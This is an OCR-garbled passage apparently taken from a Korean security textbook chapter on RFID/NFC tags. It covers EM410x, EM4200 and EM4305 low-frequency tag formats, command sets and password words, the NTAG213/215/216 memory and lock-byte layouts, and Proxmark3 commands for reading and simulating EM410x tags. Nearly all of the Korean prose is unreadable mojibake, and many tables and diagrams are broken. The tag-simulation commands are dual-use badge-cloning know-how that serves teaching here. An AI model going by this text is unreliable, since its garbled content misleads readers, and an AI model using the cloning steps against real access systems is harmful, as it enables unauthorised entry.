DU X7 |MO0| K= M7|7F Elsta |C &O| SESHA &

. =|Ct,
T El1
2 FHH L 3. AL R 50 2|5y
HE 2
1. R 2 4 MEE| 57|47
||
=2| 32
Reader
. ] od
J Writer Read / Write H |
oM, OIF, UBat 5
742 1 BE 5. ®el 24+
6. AbA 2
& 258 & =
12.1.4. L

NFC £ 2 7IX| 84 ZEE 7}X|1 QUCt Reader 2t Reader 7t S412 I8t Active ZEQ Reader 2t Tag 7t

EME 2|t Passive ZEZF QULCEH

12.1.4.1. Active mode

SAMI|QF A7 B M ZZ7|9 IS ot MEtMoz MAV|EHS Mdsto EAT 4 Ut st 7|7|7t
o
=

HOIEE 4lg M= D3 a MA[H

12.1.4.2. Passive mode

SA7|7b BtEa X[ (Carrier Field)g 47|10 M33t0] =47|= dxe| TAI|EE &2 0|25t
SETCE =AM7= $4717t HE5te ®X f7|7801| ofsff TS IS0 SEGH7| 20| Transponder 2t1
=ULL =5 84 ZE= P2P 2 RFID 412 flot = REO|O, p2P REOML FELE2E ZH7|7|7t
MAS Forg = At
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12.2. TAG &

12.2.1. Low Frequency TAG

12.2.1.1. EM410x

EM410x Tag & XM FIOf Tag 2| oF FFE, EM4100/4102/4105/4200 20| A2 EM Microelectronic Of| A
WELUCE O] Tag = H22HE AFESHA| B2 64 HIEQ| 87| P& ME2E M= HESE EHMA ZGH7L
ZotE|Of ACH FMZ=H ol 25 Eo

o
ol

Z2IY 2 0 Tag ¥ 1R ACT} BYEC

13 259. EM410x 7t=
EM410x Tag 2| E32
- 125KHz FoH0 A &
E

Xt
xy
.M 28lE & 64 HE0|B, 9 H|E T, 40 B GIO|E{(RS ID), 14 T2/E| H|E D BfLte] MX| HER 7N

Ch3ak Z L.

12.2.1.1.1. EM4100/EM4102

EM4100 2 64bit 2| &17| & ME2[7} EXStH B L EE 88 = UK HO|HE BBSHAHL FHETL
=7| HolHz Z22|dE =0f= A HIOIE 280| 27tS3tLf EM4102 & EM4100 ot £, 7|5 S2f X017}
72| GiCt HIOJE HA{2 ChZat et

o 71—

[ 1 1 1 1 1 1 1 1 9 header bits
8 version bits or DD0O D01 D02 DO3
customer ID D10 D11 D12 D13
D20 D21 D22 D23
32 data bits D30 D31 D32 D33
D40 D41 D42 D43
D50 D51 D52 D53
DB0 De1 D&2 DE3
D70 D71 D72 D73
DE0 Dae1 D82 Da3
D80 D91 D92 D93
PCO PC1 PC2 PC3

SR RU P L e

10 lire: parity
bits

4 column parity bits
% 260. EM4100/4102 Ci|O[E] 4

" EQST

Exparts, Qualilied Securily Team




1) HIO|E| HE
X obit = 1 2 BXEO| A|ZE LIEIHE marker A| AR AMSEICEH C|OJE MAO|AM &= Ti2|E|7} ABE|EZR2
Of AlfA= EXES| BHE X0 ZUSHA| BE=Ch AlEA HOo[H F2 4 7ie HO|HZE Fd& 10 712

—

JE0 1709 &= T{2[E| HEJL MSECE OHX|ROE 4 HEQ| column THE|E[(®==)2t FX| HE©0)O| ALt
O Bl HE0| SOP 0] EXE S gh=otr}

Cr=22 HIO|H 7t 06(H 7 H=)0|11 H|O|E EXAFE 0] 001259E3 QI 7E=9| O x| EA+E O},

0 6 0 0 1 2 5 9 E 3
2% 261. ClIO|E offx|

2) Hiojg{ Qlag

RFID Transponder = Reader 2| RF EEE HXS0 HIO|HE ME&Y = UCH FE ALBE[= BHE SA2 3
ZtX17F UL Transponder 2 Reader & RF 2E2| 7i# AtO|ZZ 0|83 HO|H MEZ 57|=t5t=

£89| Fot4£ RF ZEQ| Fot47t EICH

RFID AlAHI 23 Fols TQTH OfE2|A0|M0| M2t CtED, ZF HEQ| Z0|= 28 AO|2E X|FEC

EM4100 O] A2 HIE ZO0|&= 64, 32, 16 23 AtO|20| 2 == QUL

- Manchester Encoding
Manchester Encoding & AMESIH Ef17} HIEF7| F7H0f| 28 M2 Mottt 20| 50|22 Fete
22X 1 ME|E LIEFH D SO|0A 2R 20| Mehe 22X 0 AEE LEFHHCE

- Biphase Encoding
Biphase Encoding XM[Al= 2 HIE ZA2| A2 220 Motk 5 RF EEE HXSICH 22 0 MEf= HEFT|

S0 Ho|7r A= g, =X 1 JEi= AN B EF| S TO[7t glEt

- PSK Encoding

PSK(Phase Shift Keying) Encoding 2 AMEdStH RF EE7I HEL]
Ar835t= HIE Zo[of el HIE & =0 64, 32, 16 {2 T&t0|
SENE LIEILHD, =2| 1 &Ef= HIE ZA XM & H2toF @it

30 Q
X
i
M
B

12.2.1.1.2. EM4200

EM4200 & EM4100/4102/4005/4105 Of H|3{l O =& TH=x HIE 7t MY = JAZF A Z[RACE 128bit
1R AE= YoM Z202YE ROM O] MY S40 et 64, 96, 128 HLE ROM & A& = ULt 0fg
He| H{HE 74X Ueh], 0] T Y& AT EM4100 HT 1} S 2HEICH

1) HI0o|E Q13 Y
- Manchester
EM4100 0| M et Zom HIE & 32, 64 RF 7|79 HO|H £ =& At 4= QUCL
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- BiPhase
EM4100 0| M et Zom HIE & 32, 64 RF 7|79 HO|H £E 5 A% 4= QUCL

- PSK

PSK BEQ| HO|f £E= 16 7§ ZE FIOIL(RF/16)2 HHEE|D & I Fot== RF2 2 AFECL
flatHEo|7t LMSIHH =2 0 MAEfE LIEtLD, @& HO[7t LMSHH HMET| AX|Q HX| (X7t RFEEQ| ot
FI1E o ZA FXIBCt

- FSK2

M2 B ES| HEfOf W2 MSE CloJEe| Fht4+5 ZF =2 12 48 L= 52 AO|2 2 BA|EICL =2
02 50%7|0 RIZEog HA|EIC,

2) 7 HH
- 15011785 FDX-B
O Mol B2 CIOJE £k& HE & 32RF 222 2FE(0f ULt HO|H QA2 Y2 Biphase O/ 128 HIE

[ i -

ROM & AI23ICH K| 22| X += Header, 212 A E, CRC, Extension 22 T |0 ULt

128 bit pattern identification 1ISO 11'785
Bit 1 send first
Header Identification code CRC Extension
11 bits 64 bits + 8 trail bits 16 bits + 2 trail bits 24 bits + 3 trail bits
5
Mational code Country n_*g Reserved code E
38 bits + 4 trail bits 10 bits + 1 trail bit p= 14 bits + 3 trail bits =
g <<
64 bit pattern identification IS0 11'784 LSBs of each registers are sent first

12! 262, 1SO11785 FDX-B M| 22| 7+ =
Header & X MEE|0] A|ZAQ A|ZHZ &OIG &= QT E SICH 1M HEZ FEE YD HO|EH AEE A
'00000000001" TI{EZ ZtEICH AlH AEE 3 F o 2XSIH 8 HES| 8 /| 25222 FdE 64 HER
THE0 QUCH 8 HIEQ| ZF E52 ¢f|E7t HIOIHO| IHHE[X| A=ZH iEI 1 2 A8E HOo HEO 29|

EMEIC CRC= F 79 8HIE 2222 E|0 92 16 CRC-CCITT LF X ZEE E%é C}. LSB 7} HX
MEED 2 25 5|0 HO[H2| '1'0] F|IHECE Extension 2 3 7H2| 8 HIE %%EE Zof RAon QIAEHA FHEO
g2 =Y MM Es 2 HO|X|9] &0 MEE £+ UL
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- Manchester
O] HA 2 EM4100 1 28tE|= HMOZ MEZ2| &= EM4100 It ZCt HO|E QAR Y2 Manchester 0|11
64 H E ROM O| A+ EIC}

| 1 1 1 1 1 1 1 1 1 9 header bits
B version bits or D00 DO1 D02 DO3| PO
customer 1D D10 D11 D12 D13 Pd
D20 D21 D22 D23| P2
32 data bits D30 D31 D32 D33| P3

D40 D41 D42 D43| P4
Ds0 DS1 D52 Ds3| Ps
DE0 DB1 D62 D&3| PB
D70 D71 D72 D73| P7
DB0 DB1 D&z Da3| Pa
D80 D91 D92 DI3| P9 |10 line parity
PCO PC1 PC2 PC3l S0 | Bits

4 column parity bils

1% 263.1S011785 FDX-B | 22| F+&

- PSK 64
O] M2 EM4100 1t 2tz|= HHCZE O|Oo|H & % QA0 pSK 2 LD 64 HHE ROM 2 AHESHH
= e}

0T B2 FE 7I50| &d=teltt. 64 HIE ROM 2 4 Fo|of 2t 7+ & Ct.
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12.2.1.1.3. EM4205/EM4305

32 HE 16 Word 2 T+dE&l 512 HE EEPROM 2 7IX|{ Biphase, Manchester H|O|Ef QIAY S X|APHCH
EEPROM Configuration Word Off %t& EEZ} MEECH 2= EEPROM Word & £2 HES 275 Write
X7t 7SSttt IC Ol 3&A Z22iYUE 32 HE UID 7t ZEE o %Er. EM 4469/4569 X &1t
D BHEIC

1) EEPROM 14
512 H{EQ| EEPROM &2 32 H|EQ| 16 Word 2 Tt =ICt. EEPROM Word Ofl= 0 0| A 15 7t X| Q] B 7t X| ™ EICt
ot YEO|A HIEE 00|A 31 7HX| H= 7 X|H=ICt

(dec) Description Type |Bo.  ..ba
Chip Type, Res Cap
0 Customer code/ RW |cty - Oty
User free
1 UID number F& | uidg = widas
2 Password WO |[pss - psm
3 User free FW |usy - wussy
4 Configuration word RW |cog - cos
5 User free FW Juss - uss
6 User free FW Juss - wuss
T User free FW Juss - uss
a8 User free FEW |uss - wsas
9 User free FEW |uss - wuss
10 User free FW |uss - wusa
11 User free RW |usg - usy
12 User free RW |usg - ussy
13 User free RW |usy - uss,
14 Protection word 1 RF |prm - pra
15 Protection word 2 RPF |prg - pra

12! 264. EEPROM T

- Word Type

- RA:Read Word HEC =0t HZ

- RW : Read/Write Word B2 ®&

- WO : Write Word ¥ 20 2

- RP: Read Word X Protect 3o 2 T2

- Word 0 : STOM Z2a2jUst & |, ST AHIAIH HAE, 14 ZE
Z2 02 Ust Y& COHE HO|HE MEE = A

- chip type : 1HE 4 HE X2 32tE|= & HEL

rE
fot
i
_Ql»
oT

i3I L ALRALTL CHA|

- On-chip resonant capacitor values : 210pF, 250pF EE&= 330Pf

- Customer code : 10 HE 12 3 E

-Word 1: 3F0IM Z202§Y & IC UID 7t ZH |0 Read FHOIZ F2E 5= UCL
- Word 2 : 32 HE 237} ZetE|0f Q2 Password ¢f2 210 HHO| d5ot £
- Word 3 : User free 2 Word 0 1t RAISHA ALEA EF FEE MY &= AUCL
-Word 4: 7|7]2| & RE, M & H2l5t= Word

-Word 5 ~ 13 : AFEAMZF AR EA AHEE = A0 7[= HAIX|S] L&F7F & 5 ULt (288bit)
- Word 14 ~ 15 : Word 0 ~ 13 & 22517 9|8 ALEE|Df Write Word BEE AF85H0] 78
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2) SA A
- Default Read

S5 Y0l Y3 US XI5t 2= X7|3HE AIESHH Conflguratlon Word & A0 780 [}HE Default
Read REZ MEEICt Default Read 2E0|A EM4205/4305 & Word5 Ol M A|Zksto] d7dof w2t opx|at
Word 2 ELt= EHIEEI HOIHE X|&HHoz HEOtCt I3f7<|'1.’ Word 2| OFX|2} HIEE E'H = Word 52| A

HEE SHOHA| @1 A% T=ctot.

=
=

- Forward Link Communication

Command = EM4205/4305 7} Default Read 220 U= St Reader 0| A Tag 2 MSEICE S412 RFEEQ| 32 F7| HIE
EFO|YUS 7I%l Read Of HZE QIHIAE ALESIO] O|RO{EICE field stop & ZAISHH Command ZES Z7|fSICt K EHRY
field stop 2 $=415HH IC = FA| Default Read Z=E K|St Command X2| REZ ZISH7| 2f8l ‘OHIE +4E 7|Ch2|H
S417|QF HO| &7|2tx| 0 =7} H|O|E{7F TS EICE OH| EZF =4 E|X| @2 ™ IC = Default Read ZE2 SO tCE

3) Command

- Command Code Structure

DE 3L 3HIE HE [ICEZ ARG O &
= N

o B3 Q=71 ULt FEH Q2 AHEItsT A2 T4 Word 2t
32 H|E O|O|Ef WEO|Ct 3HIE A IC = ™4 Oi2|E| HHERZ SR EICH

ccp ccy cCs P

- Address Structure

T ZEO = 4HIE 2, &2 AES 91 022 0%l 2 HIE X %= Ij2|E| H|EJF et EID

Aq A, A, A, 0 0 P

- Data Structure
32 HE OOl ZEOo|= 8 Go|H H|EDO(CE ®== D{2|E| HEZl e, 8 7§e| & m{2[E| HE & 0 2=
FZ=ECH Hole BE #4942 OS2 20k

Dy Dy Ds D Dy Ds Ds Dy Py
Da Dg Dig D1 Dz D1 D4 Dis P4
Dis Di7 D1a D1 Dzo D24 D2z D23 P2
Dzs Dzs Dzg Dz7 Dzs Dag Do Dias Fa
PCa PC PCz PCs PCy4 PCs PCs PC7 "o

1% 267. Hjo|E| HE 7/d
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CCy ~ CCy P Command
001 1 Login
010 1 Write Word
100 1 Read Word
110 0 Protect
101 0 Disable

- Login Command
Yoz HoFE YHS 27| Mo 220 FHS ™
Y2t FHO| Q2 MEECH A= YHO X0 HoE Hojy #x0| HEM D{2|E| HEE ZESH0]
45 H|EE HM&sict mj2|g|l HEZF 90 MEE 32 HE 237) Word 2 o Wit LX|stH 209 &

o Ch2 H 0| A W7tk 220l HELCH =2 HoFl Y AAS Q) de d =
2701 HYZ of HOt MESof ot 20 HHO| 483K =2 XNE[k[H IC= Preamble T{E (00001010)2
SCt8l 0 Default Read EEE SOpZtCh ZZE ALt IfZ|E| @BEE 21010 £QEX| %ol =
I§ £(00000001)0| & E|11 IC 7} Default Read 2 =2 FO0pZHC,

op
2t
o
ro
fu
[l
ro
o
o
=2
x
=
i
m
o=
i
i
ot
O
w
N
o=
|m

- Write Word Command

Write Word HEO|A 4 HIE Word A7t HA MEE = [O|f =0 et QAT E 32 HE 0|7}
HMSEC HOlH F&& Command, Address, Data O HA|El FZO|Ch FHO| SHEAH NEH= Z2
EM4205/4305 = Fa7} X|™HE Word 7} 27| 237} £|0f QX (X £= Ii2|E| 2F7F Q=X =0QIstCt,

1% L& EEPROM(Power Checkg Z2Ijdd o= s O] SEotX| =gt £ EEPROM O] AdECt
EEPROM O| ZH k| EEPROM O A T+ Word 7t CHA] 2EE|1, preamble I§ E(00001010)0] M&E = HO|
712 97| ZEZ FSOtZHC Word £ 7| HHO| QI X| RFoHIiZ|El LF E£&

I§ ©(00000001)0] MEE[LL IC 7} 7|2 47| ZER FOtZHC

‘5|.|_|. olAI-Ol X-17-I AE' H)
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- Read Word Command

Read Word EHO|A 4 H|E Word 27} Command code @t Address 7t&=0f 2t H&HO| QlxZ MEEICE
YEO| SH2A M2|E[H 32 H[E Word LEO0| F0|0 Preamble T{EO| M&EILE 32 H[E HIO|H £ Data
Structure EAS AME510] TEE|D, Ol EEPROM 2| HIOE T Y= 7|2 7] A1t Ct=C} Read Word
O] SUL[X| o HIZ|E] 2F) @F IjHO| MEED IC7H 7|2 7| ZEZ SOt

- Protect Command

Protect HE2 Write Word B&ES At230] EEPROM Word 0 ~ 13 0] Y E|X| A=E H5st=0 AFEEICT
Protect BEO0|A 32 H{E Word = 18 13 HO|H =0 2t MEECH HE DO ~ D14 = EZH|E pr0 ~
pri4 Of S{ESHCH (EEPROM T4 & X) Protect F&HO| d3EH2E XNE|E|H IC & EEPROM(Power Check)2
T2 = A= S MHO| U=X| QIS Word 14 ~ 15(Protection Word)0fl dF &l AXtof 2t
Protection Words & & H|O|EtCt YHO|EZt 2tZ%|H Preamble T{E 00001010 O] & X[ Default Read
REZ SOpZtet Protect Ol SQIE|X| o™ (miz(E] @F ©2 A &l) Protect Word 7t = &[X| 11

REIEH ME F IC 7} Default Read ZEZ =O0tZHC}

—_

- Error during Command Detection
NHUEX] e @8 2E £ T H2IE HE 77 A=W IC= Y A

ALk
i
OpA
L
Ot
=
=
=
]
i
HL
=
A

Write Word
EM4205/4305 Preamble | Defauit Read |
READER [ f0101" | Address [ Data
Timings Teq T\\'E.E...--.
Read Word
EMA4205/4305 Preamble | Read Word | Default Read |
READER Address
Timings Ter
Login
EM4205/4305 Preamble | Default Read |
READER [ "0011" | Password
Timings Tee
Protect
EMA4205/4305 Preamble | Default Read |
READER [1100" | Protection
Timings T Tes
Disable
EMM2054305 [Defaull Read
READER [ 1010" | "all1" data |
Timings
I3 260, ¥ MBS ELO|Y U 2N
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12.2.1.1.4. Proxmark3 22l

oM =l If tag B F= EM410x 2 If help & S EM tag S /O AHESt= S =22e += UACH

[usb] pm3 —> 1f help
This help

{ AWID RFIDs ...

{ COTAG CHIPs ...

{ FDX-A Destron RFIDs ...

{ EM CHIPs & RFIDs ...

{ FDX-B RFIDs ...

{ GALLAGHER RFIDs ...

{ Guardall Prox II RFIDs ...

12! 270.em HHA

EM EtR HOIME HEEZ MM HHO7F LHEX QUL
[usl)] pm3 — 1f em
This help
EM 4102 commands ...
EM 4205 / 4305 / 4369 / 4469 commands ...
EM 4350 / 4450 commands ...
EM 4070 / 4170 commands ...

dZ271.em BH M

2tolg tag O M AHE 7hsot FE S =Helottt

— =

[usb] pm3 -> If em 410x help

[ush] pm3 — 1f em 410x help
This help
demodulate a EM410x tag from the GraphBuffer
attempt to read and extract tag data
simulate EM410x tag

12 272. Em 410x H&H M

EM410x tag 2| §MYEE =517 fls TH S S JABICL

[usb] pm3 -> If em 410x demod

[usb] pm3 — 1f em a10x demod
EM 410x ID 28¢€ ASCS
EM410x ( RF/ez. )

Unique TAG ID : 14006DA513
HoneyWell IdentKey
DEZ 8 : 11969992
DEZ 1@ : 0011969992
DEZ 5.5 : 00182.42440
DEZ 3.5A : 040.42440
DEZ 3.5B : 000.42440
DEZ :3-5C : 182.42440
14/1IK2 : 00171810661832
15/1IK3 : 000085906531603
20/2ZK : 01040000061310050103

: 42440_182_11969992
Pattern : 684385224 [0*28CAE3(8]
Dattoarn 1 —

search YO A Al 4N DET Z0| 27| {20 =8E&= BEE= 2Lt
= i 3

=]
CHE EtRQl tag € 2Ol Al OHEZIR| 2 AL 7hsth 3 S &M W& =22l 7Hs3tLt.

= =
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12.2.1.2. NTAG21x

NTAG21x = NXP Semiconductors 0| A| ISO/IEC 14443 A 4 & W2} 7S
i SO Ar2EH, 22| 20| 7ts

'_|

NTAG21x | E& 2 31 &Lt
- 13.56MHz FIot0 A SE
. 106 kbit/s S 2 OO|H M&

- ISO/IEC 14443-30f 2 7

HFO|E UID

ot SA[0 o4 O Z2[H0ld=S .5_4%’ = U

- 180, 540, 924 byte, H|O|X| & 4 HrOIEM' 45, 135, 231 H|O|X|2 Fd (NTAG213, NTAG215, NTAG216)

- 144, 504, 888 byte 2| AtEX} 2

- 32 HIE @235 0|8

12.2.1.2.1. HB22| =

EEPROM O|Z2Z|= HO|X|E 4 HIO|EO|H NTAG213 2

231 H|O|X| 2 M E|0f UL,

7|/M7|
. X2 16 HO|X|of T3+ T O|X| & Q
SHHEE 23S

(NTAG213, NTAG215, NTAG216)

171 %E% 7ls

45 0| X|,

NTAG215 &=

135 H|O|X|, NTAG216 &

NTAG213 H=2| 1%

Page Adr

Byte number within a page

Dec Hex 0

| 1 | 2 | 3

Oh

serial number

Description

1h

serial number

2h serial number

lock bytes | lock bytes

| internal |

Manufacturer data and
static lock bytes

3h

Capability Container (CC)

Capability container

4h
sh

nlslwlnm]|=|o

38 26h
39 27h

user memory

User memory pages

40 28h

dynamic lock bytes RFUI

Dynamic lock bytes

4 29h

CFG 0

42 2Ah

CFG 1

43 2Bh

PWD

44 2Ch

PACK | RFUI

Configuration pages

13! 274. NTAG213 M| 22| L=
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NTAG215 H 22| 33

Page Adr Byte number within a page
Dec Hex 0 | 1 | 2 | 3 Description
0 Oh serial number
1 1h serial number Mar;;g‘;itrur;z g:z:gand
2 2h serial number | internal | lock bytes | lock bytes
3 3h Capability Container (CC) Capability container
4 4h
5 Sh
user remory User memory pages
128 80h
129 81h
130 82h dynamic lock bytes RFUI Dynamic lock bytes
131 83h CFG O
132 84h CFG 1
e a=h WD Configuration pages
124 | 86h PACK | RFUI
3% 275. NTAG215 22| 1%
NTAG216 H 22| 313
Page Adr Byte number within a page
Dec | Hex 0 | 1 | 2 | 3 Description
0 Oh serial number
1 1h serial number Mazg;?'lgi g;‘t:sand
2 2h serial number | internal | lock bytes | lock bytes
3 3h Capability Container (CC) Capability container
4 ah
5 Sh
user memory User memory pages
224 ECh
225 Elh
226 E2h dynamic lock bytes RFUI Dynamic lock bytes
227 E3h CFG O
228 E4h CFG 1
25 =h WD Configuration pages
230 E6h PACK | RFUI

12! 276. NTAG216 M| 22| L=
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12.2.1.2.2. UID/Serial Number

N[t 7 HO|E YT HZUID)R 2 7He| AAL HFO|E+& 0,1,2(00h~02h) HO|X|| X MM HIO|EE ZESt=
HZz|o| H& 9Hto|Eo| Z=2aefYECt 2 B O|X|(02h)2] & HM HIO|EE £ HIO|H 822 0L
O| HIO|E& ICHZYMOIAM Z2E 02 YStH 2ot @ AP 2 Qlsl M 7| BEX|Jt £|0f QUCt

MSB LSB
0 0 0 0 0 1 0 0 | Manufacturer ID for NXP Semiconductors (04h)
page 0 page 1 page 2
Byte 0 1 2 3 0 1 2 3 0 1 2 3
Serial Number Serial Number
Part 1 Part 2 Check byte 1
Check Byte 0 internal
lock bytes

112! 277. UID/Serial Number Bytes T+4d

ISO/IEC 14443-3 0f =™ Check Byte 0(BCCO)= CTOSNOBSN1BSN2 2 HO|E|1 Check Byte 1 (BCC1)2
SN3@SN4DSN5PSN6 2= HO|EICE SNO 2 ISO/IEC 14443-3 3 ISO/IEC 7816-6 AMD.1 Of 2t NXP

Semiconductors (04h)2| M= A ID & E-FSHCE.

12.2.1.2.3. Static Lock Bytes

2 0| X|(02h)2] 2 BIO|E, 3 HIO|E HE= &7 & &H7 HUS
OFh 77tX[Q] Zt HO|X|S§2 F7HHQ M7| HMAE LX|S z
=z = Utk &8 2 HolXl= &7 BE H=2|7t

=ICt &3 = S|
H|E 2 = 0Ah-OFh H|O|X| £, H|E 1 2 04h-09h I|O|X|E, H|E 0 2 03h(CC) H|O|X|& C}ELC} 22 Z3Z H|EZ}
AEEH Y 22 Yo et &3 F40| DFEICE

bal
o O
o
N
or
rot
ME
[m
i
-
m
=
n
o
w
o
o
I
m

MSB LSB MSB LSB

L BL BL BL L L L L L L L L
T 3 5 4 cc 15-10 9-4 (o' 15 14 13 12 n 10 k] &

page2 l///

Lx locks page x to read-only
BLx blocks further locking for the memory area x

ﬁ
-
-
-

lock byte 0

lock byte 1

712! 278. Static Lock Bytes

oS 50 BL15-100] =2| 1 2 MH= A HE 115 ~ L10 (lock byte 1) O O|& #AT 4 gict &g 9
=5 &3 HE= WRITE 30| Qs 2 mo[X|02h)of &= Ct WRITE &2l 2, 3 HIO|EQt &3 HIO|EQ
L{80| HE tHe{2 OR O] £, O AW7} &3 HIO|EQ| MEZ2 LHE0| ECh Of ZEMAE CHA|
ElE8 = 917 20| HEZ} =2/ 18 *E“SJEIEI =2 022 CtA| #ZY = gICk 2 H0]X|Q] 0, 1 HIO|E=
WRITE BHo| &S LX| Y=Lt
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12.2.1.2.4. Dynamic Lock Bytes

NTAG21x 2| 10h O|2 2| H|0|X|E2 & &3 HIO|EE AESHO]

Xt
(=]

=1
=

A
e

28h 0| X| 0] A2, NTAG215 = 82h I{|0|X|, NTAG216 2 E2h | O| X|Of

4 96byte, NTAG215 2| =& Z3 HIO|EQ| B¢

ULt

[
456byte, NTAG216 2| B 840byte 2| K22 &

Ct NTAG213 o] =& Zt

A= H

Ct. NTAG213 2| 85 &3 HIO|EQ|
[e: k=23
1=

IO|E=

JtX| 2

MSE LSB
— =3 - u " — f=)) I~
oM o iy o o i - -
[s=] oD (i) =T ™~ [ (=] [i=)
[as] ~d ~d ~ ~ ™~ — ~—
L L [SE] w w [S%) (%) L
o|lowo|lo|lo|lo|lao|lol|law
|z | = | = =] x| =] <=
(=% (=% (= (=™ [~ (=% (=% [« %
e e St -4 v s s e
o () [ (] L) o o L&)
ol || &|oc|&| o] o
— - - - - pa— - -
bit7. & 5 4 3 2 1 0"

page 40 (28h) | O 1 2 3

NTAG213 Dynamic lock bytes 0, 1, 2

MSB

,_
W
[s:]

RFUI

RFUI

RFUI

RFUI

LOCK PAGE 38-39

LOCK PAGE 36-37

LOCK PAGE 34-35
LOCK PAGE 32-33

bit 7

MSB

6

w

P

)

RFUI

RFUI

BL 36-39

BL 32-35

BL 28-31

BL 24-27

BL 20-23
BL 16-19

bit 7

G

3

d=

W

1 279. NTAG213 Dynamic Lock Bytes 7/
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LB

MSB

LSB

MSB

N4y

N4y

N4y

N4y

N4y

IN4d

N4y

]

N4y

bit 7

1E-91
39Vd 3201

FAras
39vd A201

£9-8F
39Vd #2001

6L-F9
39Vd #2001

56-08
39Vd X001

LLL-96
JOvVd X001

lel-ZlLL
39Vd X201

]

6cl-8¢el
39Vd 3201

bit 7,

0

page 130 (82h)

Ly-91 14

MSB

6.-8F 14

LLL-08 19

Gel-¢lL 19

[§EE:!

IN44

IN4d

INdd

NTAG215 Dynamic lock bytes 0, 1, 2

o

]

bit 7

13 280. NTAG215 Dynamic Lock Bytes T+

LSB

MSB

LSB

MSB

65L-tFl
39vd A201

SLL-091
39%d H201

L6L-9L1
39%d X201

L0¢-261
19¥d #0071

£2e-80¢
39%d AD01

See-vee
39%d X201

N4y

6

INdd

bit 7

LE-9L
39%d X201

L¥-cE
39%d H201

£9-8¥
319%d AD01

6L-F9
39%d A201

56-08
19¥d %001

LLL-96
JOVd X001

Lel-2ll
39%d A201

]

EvL-82l
319%d X201

bit 7,

0

page 226 (E2h)

#9114

MSB

6.-8%F 19

LLL-08 19

epl-2LL g

SLL-FrL 19

L0e-941 19

52e-680¢ 19

N4y

NTAG216 Dynamic lock bytes 0, 1, 2

G

bit 7

712! 281. NTAG216 Dynamic Lock Bytes 743

BDh O|LC}.

O SHAF
- OO

7t
HA

HFO|EQ| 7| & Zf2 00 00 00h 0|04, 3 H byte 2|

b, PN Ju B
==

=
S

EQAST
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12.2.1.2.5. Capability Container (CC Bytes)
CC= IC 44 o =224y ECt O] HIO|E= WRITE B0 2ls HIE |2 =FE 5 Tk

Example NTAG213

page 3 default value (initialized state) CC bytes
byte 0 1 2 4 | 11100001 J 00010000 | 00010010 l 00000000 |

write command to page 3
data | ETh | 10h | 12h | 00 | 00000000 | oooooooo | oooooooo | oooori11 |

result in page 3 (read-only stats)
| 11100001 ] 00010000 | 00010010 ‘ 00001111 |

CC bytes

13 282. CC Bytes g

WRITE H&o| HO|EQt $IX| CC HIO|EO| E0{Ues HHXE

ME& CC HIO|EQ| H|O|E 7} EICt O] ZEMAE E|[EE = gloH, HEY =
CHAl @ == BiCh CC 2l HIO|E 2 0= NDEF HA|X|Of AtEE &= U= BE2[2] 27|E F2|TCL (NDEF :
11.1.2.2. NFC 2EB4 X At

IC Value in byte 2 NDEF memory size
NTAG213 12h 144 bytes
NTAG215 3Eh 496 bytes
NTAG216 6Dh 872 bytes

12.2.1.2.6. Data pages

NTAG213 2| ZL 04h~27h HO|X|, NTAG215 & 04h~81h HO|X|, NTAG216 2| AL 04h~E1h H|O|X|7} AREXt
M=zl 9f7|/47] Ho|ct LZE AHESHO] AMEXF DIZ2| FHo| R0 st WMAE FMTt = ACH
o 22[0 S0 U= HIO|E = Ch21t ZCt 03h HO|X|0f= A 2ot CC HIO|EZF B U20, 04h H|O|X|REH &
AEXE 8171/247] S HO|CE 05h O|= HO|X|FE= 7|2 OB 7t Fo|=|0f UX| Lt

Page address Byte number within page
NTAG213 0 1 2 3
03h (CO Elh 10h 12h (NDEF) 00h
04h 01h 03h ACh 0Ch
05h 34h 03h 00h FEh
Page address Byte number within page
NTAG215 0 1 2 3
03h (CO Elh 10h 3Eh (NDEF) 00h
04h 03h 00h FEh 00h
05h 00h 00h 00h 00h
Page address Byte number within page
NTAG216 0 1 2 3
03h (CO Eth 10h 6Dh (NDEF) 00h
04h 03h 00h FEh 00h
05h 00h 00h 00h 00h

93 EQST
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12.2.1.2.7. Configuration pages
NTAG213 2| 29h~2Ch | O|X|, NTAG215 2| 83h~86h H|O|X|, NTAG216 2| E3h~E6h H|O|X|= H|Z 2| UM A
Mgt S 11UID ASCIl mirror 7| &2 T'dotCt HO|X| 7+ &M= Of2fet Z Lt

HO|X| 9 &Al

12page address Byte number
Dec Hex 0 1 2 3
41/131/227 29h/83h/E3h MIRROR RFUI MIRROR _PAGE AUTHO
42/132/228 2Ah/84h/Edh ACCESS RFUI RFUI RFUI
43/133/229 2Bh/85h/E5h PWD
44/134/230 2Ch/86h/E6h PACK RFUI RFUI

- MIRROR byte &HA|

Bit number
7 | 6 5 4 3 2 1 0
MIRROR CONF MIRROR BYTE RFUI STRG_MOD_EN RFUI
- ACCESS byte & Al
Bit number
7 6 5 4 3 2 1 0
PROT CFGLCK RFUI NFC_CNT EN | NFC_CNT PWD_PROT RFUI
Field Bit Default values Description

723t MIRROR PAGE byte Of] 23l ASCII mirror 7 2+45HEl 22 AMEE
ASCII mirror 2

00b ... no ASCIl mirror

01b ... UID ASCIl mirror

10b ... NFC counter ASCII mirror

11b ... UID and NFC counter ASCIl mirror

MIRROR _CONF 2 00b

MIRROR BYTE 2 00b MIRROR _PAGE byte 0f| 2|8} Z42|=! H|0|X]| L byte 2IX| |

HX DEE Ho|sh

F

0\1

STRG_MODE EN 1 1b Ob .. Z 2 HEM%}

1b.. X BE =Mt

rot r9_+

il
ot

oN

ASCIl mirroring A|Z H|O|X| 2

MIRROR PAGE 8 00h Shals
20| 03h 2L} & AL ASCl mimor 7|5 2435}

LA Q|E HZ0| LWasHHO|X| =& HO|
AUTHO byte 2| 72 T4~ &l 00h ~ FFh
AUTHO byte Of| “’HE_ 1I0IXI Fa7b AR Fdet OFX|9} H|O|X| £Lf

S HO|X| TAZ MNEl 42 S HES H|EHS} ALEY

AUTHO 8 FFh

PROT 1 Ob EHIEEI B E HOI5l= ACCESS byte LiF 1bit

11 UID ASCIl mirror : ASCII 2 QIR EEl Ef ol Al2|d dH
12 ZkZF NTAG213/NTAG215/NTAG216 2| I{|O|X| F4
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Ob .. 27| 2 Al A= HBO)| o3 E=F
To.. 817 A 47| HZ A WA= HJO| o3 2= F

AHERE TLG0] Cist M| ZF HIE
Ob ... 7| 20| 758 AFRAF A

cralok 1 P | b WD 9t PACK S FI2lEt LiDiR| 17| 20| @RHOE B
Ng F7Hel +EH|olX|e] P M7 H5 5 s}
NFC 7H2H +4
Ob ... NFC 7}2H H|2ds}
NFC_CNT_EN 1 Ob 1b... NFC 7H2E gds}
